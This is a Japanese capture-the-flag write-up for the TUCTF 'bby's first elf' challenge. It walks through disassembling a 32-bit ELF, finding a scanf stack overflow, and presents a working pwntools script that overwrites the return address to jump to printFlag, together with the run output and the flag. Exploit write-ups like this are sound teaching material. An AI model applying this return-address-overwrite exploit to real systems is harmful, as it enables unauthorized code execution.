bby’s first elf

25

Try find the flag. Challenge is hosted at 146.148.95.248:2525

fileコマンドでファイルタイプを確認します。Linuxの32bitバイナリです。
$ file 3d726802521a9ce2b24e2c3baf039915e48ad056
3d726802521a9ce2b24e2c3baf039915e48ad056: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=3fb9014d549efe4ce761146b736590eb9f7e281d, not stripped
実行してみると、次のように入力を求められます。23文字までは問題なく、24文字入力するとバッファオーバーフローが起こるようです。
$ ./3d726802521a9ce2b24e2c3baf039915e48ad056
This program is hungry. You should feed it.
12345678901234567890123
Do you feel the flow?
$ ./3d726802521a9ce2b24e2c3baf039915e48ad056
This program is hungry. You should feed it.
123456789012345678901234
Do you feel the flow?
Segmentation fault (コアダンプ)
objdumpコマンドで逆アセンブルして動作を解析します。
$ objdump -s -D 3d726802521a9ce2b24e2c3baf039915e48ad056 > aaa.txt
アドレス0804856dにprintFlag関数がありますが、どこからも呼び出されていません。flag.txtをオープンしているので、この関数を呼び出すことができればフラグを取得することが出来そうです。
0804856d <printFlag>:
 804856d:    55                       push   %ebp
 804856e:    89 e5                    mov    %esp,%ebp
 8048570:    83 ec 58                 sub    $0x58,%esp
 8048573:    c7 44 24 04 a0 86 04     movl   $0x80486a0,0x4(%esp)      #r
 804857a:    08
 804857b:    c7 04 24 a2 86 04 08     movl   $0x80486a2,(%esp)            #flag.txt
 8048582:    e8 c9 fe ff ff           call   8048450 <fopen@plt>
mainのscanfにバッファオーバーフローがあるので、ここで24バイトの格納領域の後ろにある戻り先のアドレスを上書きします。
080485c9 <main>:
 80485c9:    55                       push   %ebp                                #esp-4
 80485ca:    89 e5                    mov    %esp,%ebp
 80485cc:    83 e4 f0                 and    $0xfffffff0,%esp               #espの下位4bitが0になる(-8)
 80485cf:    83 ec 20                 sub    $0x20,%esp                    #esp-32
 80485d2:    c7 04 24 ac 86 04 08     movl   $0x80486ac,(%esp)   #This program ...
 80485d9:    e8 42 fe ff ff           call   8048420 <puts@plt>
 80485de:    8d 44 24 14              lea    0x14(%esp),%eax        #eax=esp+20
 80485e2:    89 44 24 04              mov    %eax,0x4(%esp)        #入力データ格納先(-4-8-32+20=-24。24バイト分)
 80485e6:    c7 04 24 d8 86 04 08     movl   $0x80486d8,(%esp)  #%d
 80485ed:    e8 6e fe ff ff           call   8048460 <__isoc99_scanf@plt>
 80485f2:    c7 04 24 db 86 04 08     movl   $0x80486db,(%esp)   #Do you feel ...
 80485f9:    e8 22 fe ff ff           call   8048420 <puts@plt>
 80485fe:    b8 00 00 00 00           mov    $0x0,%eax
 8048603:    c9                       leave 
 8048604:    c3                       ret      #ここでの戻り先のアドレスを0804856d <printFlag>:にする
バッファオーバーフローを起こすプログラムをPythonで書きます。
#!/usr/bin/env python2
from pwn import *
import time
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
    p = process('./3d726802521a9ce2b24e2c3baf039915e48ad056')
else:
    p = remote('146.148.95.248', 2525)

p.sendline(
    'A' * 24
    + p32(0x0804856d)        #0804856d <printFlag>
    )
time.sleep(0.1)
p.recvall()
実行すると、次のようになります。
$ python aaa.py
[+] Opening connection to 146.148.95.248 on port 2525: Done
[DEBUG] Sent 0x1d bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  6d 85 04 08  0a           │AAAA│AAAA│m???│?│
    0000001d
[+] Recieving all data: Done (102B)
[DEBUG] Received 0x66 bytes:
    'This program is hungry. You should feed it.\n'
    'Do you feel the flow?\n'
    'TUCTF{jumping_all_around_dem_elfs}\n'
    '\n'
[*] Closed connection to 146.148.95.248 port 2525
フラグは、
TUCTF{jumping_all_around_dem_elfs}
です。